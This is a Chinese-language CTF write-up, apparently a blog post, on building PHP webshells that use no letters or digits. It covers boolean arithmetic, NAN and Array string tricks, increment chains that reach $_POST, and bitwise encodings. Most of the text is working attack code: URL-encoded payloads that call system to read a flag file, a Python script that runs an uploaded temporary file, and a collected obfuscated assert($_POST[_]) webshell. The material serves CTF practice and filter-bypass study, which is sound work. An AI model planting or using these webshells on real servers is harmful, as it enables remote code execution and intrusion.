0%

webshell-奇淫技巧(php)

无数字字母获取所有数字

通过boolean类型进行加减

1
var_dump((true+true) == 2);         // D:\phpstudy_pro\WWW\a.php:2:boolean true

从两个真相加得到了2,那么布尔类型的都应该都可以进行加减
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 单引号
$_ = ''=='';
echo $_+$_; // 2
// 未定义变量
$_ = $__==$__;
echo $_+$_; // 2
// 未定义常量
$_ = _==_;
echo $_+$_; // 2
// 中括号
$_ = []==[];
echo $_+$_; // 2
// 获取0
$_ = []==[];
echo $_-$_; // 0
// 获取false
$_ = ''=='_';
var_dump($_); // D:\phpstudy_pro\WWW\a.php:3:boolean false

总而言之就是拿着两个类型去比较,当然也可以用大于号小于号之类的去比较
当然有时候未定义的变量、常量,也可以当作false来用
1
2
3
$a = 'kaikaix';
echo $a[$b]; //输出 k
echo $a[_]; //输出 k

无数字字母获取所有的字母

数组拼接

1
2
3
4
$_ = ''.[];                         //字符串与数组拼接变成Array
$__ = $_[''=='_']; //false代表0,这里取到A
$___ = (''=='')+(''=='')+(''==''); //3个true相加为3
$__ = $_[$___]; //获取到a

剩下的操作就是一些自加操作了,这样就可以获取到所有的字母了
在php中字母是可以自加的(不能自减),但是特殊字符不行

1
2
3
4
$a = 'a';
$a++; //变成b
$a = '(';
$a++; //还是(

这里我突发奇想,想看看class类型能不能拼接出Object字符串,null能不能拼接出字符串null,然而并不行,那么就只能先告一段落

利用数学错误

php中0/0会返回NAN,1/0会返回INF

1
2
3
4
5
6
7
8
9
// 0/0
$_ = (''!='')/(''!=''); //false/false 报错 NAN
$_ .= ''; //将报错与字符串拼接,转换为字符串NAN
echo $_; //打印出 NAN

// 1/0
$_ = (''=='')/(''!=''); //true/false报错 INF
$_ .= ''; //将报错与字符串拼接,转换为字符串INF
echo $_; //打印INF

当然上面的代码还是有点长的,可以用undefined的常量或变量相除,就会缩短代码长度
1
2
3
4
5
6
7
8
9
10
11
//常量
$_=_/_;
$_.=_;
echo $_; //输出NAN_
//缩短代码
$_=(_/_._);
echo $_; //输出NAN_

//变量
$_=($_/$_.$_);
echo $_; //输出NAN

这样可以获取到NAN的字符串,那么提取第一个也就是N
因为POST这几个字母都在N后面,那么进行一些自加操作就可以获取到$_POST了,我这里抄一下别的师傅的代码
1
2
3
4
5
6
7
8
9
10
<?php
$a=(_/_._)[0]; //直接拼接成字符串并切片
$o=++$a; //$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o; //$o=>PO,$a=>P
$a++; //Q
$a++; //R
$o.=++$a; //$o=>POS,$a=>S
$o.=++$a; //$o=>POST,$a=>T
$_=_.$o; //_POST
$$_[0]($$_[_]); //$_POST[0]($_POST[_]);

在这里的变量名称最后替换成特殊字符就可以了
比如下图这些

1
2
 = 1;
echo ;

payload
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

gettext

当php安装了gettext扩展,这个扩展中_()相当于gettext()
相关文档 https://www.php.net/manual/en/book.gettext.php

1
$a=_(a/a)[a];                       //获取到N

最后一些自加的顺序操作可以让你的webshell更短,但是这里就不细说了,因为我感觉有点没必要
可以参考这篇文章的底部
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah
直接上代码
72位字符
1
2
3
4
5
6
7
<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

payload
ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa

68位字符

1
2
3
$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

payload
ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

上传临时文件

具体参考p神文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

1
2
3
4
5
6
import requests
url="http://xxx/test.php?code=<?=`. /???/????????[@-[]`;?>"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)

核心原理就是上传的文件会临时保存到/tmp/phpXXXXXX中,后面的X是随机字符
[@-[]这个代表?是从@-[,也就是所有的大写字母
那么命令执行就可以去执行这个临时文件

位运算

主要是通过特殊字符进行异或运算得到正常字符
比如
("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")()
运算完以后就是
phpinfo()
这里有相关的代码
https://github.com/kaikaix/ctf/tree/main/phpshell/%E6%88%96
当然双引号可以替换为单引号
如果是直接复制到php文件中去执行的话需要先url decode才行
(" "|"```````")();

异或

异或与或的原理类似
https://github.com/kaikaix/ctf/tree/main/phpshell/%E5%BC%82%E6%88%96

取反

这里用的yu22x的脚本
https://github.com/kaikaix/ctf/tree/main/phpshell/%E5%8F%96%E5%8F%8D
这里是用php命令行去执行

如果没有参数可以把后面括号里面的东西删除
(~%8F%97%8F%96%91%99%90)();
同理,如果想在php中执行,也要先urldecode

收录一下其他人的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);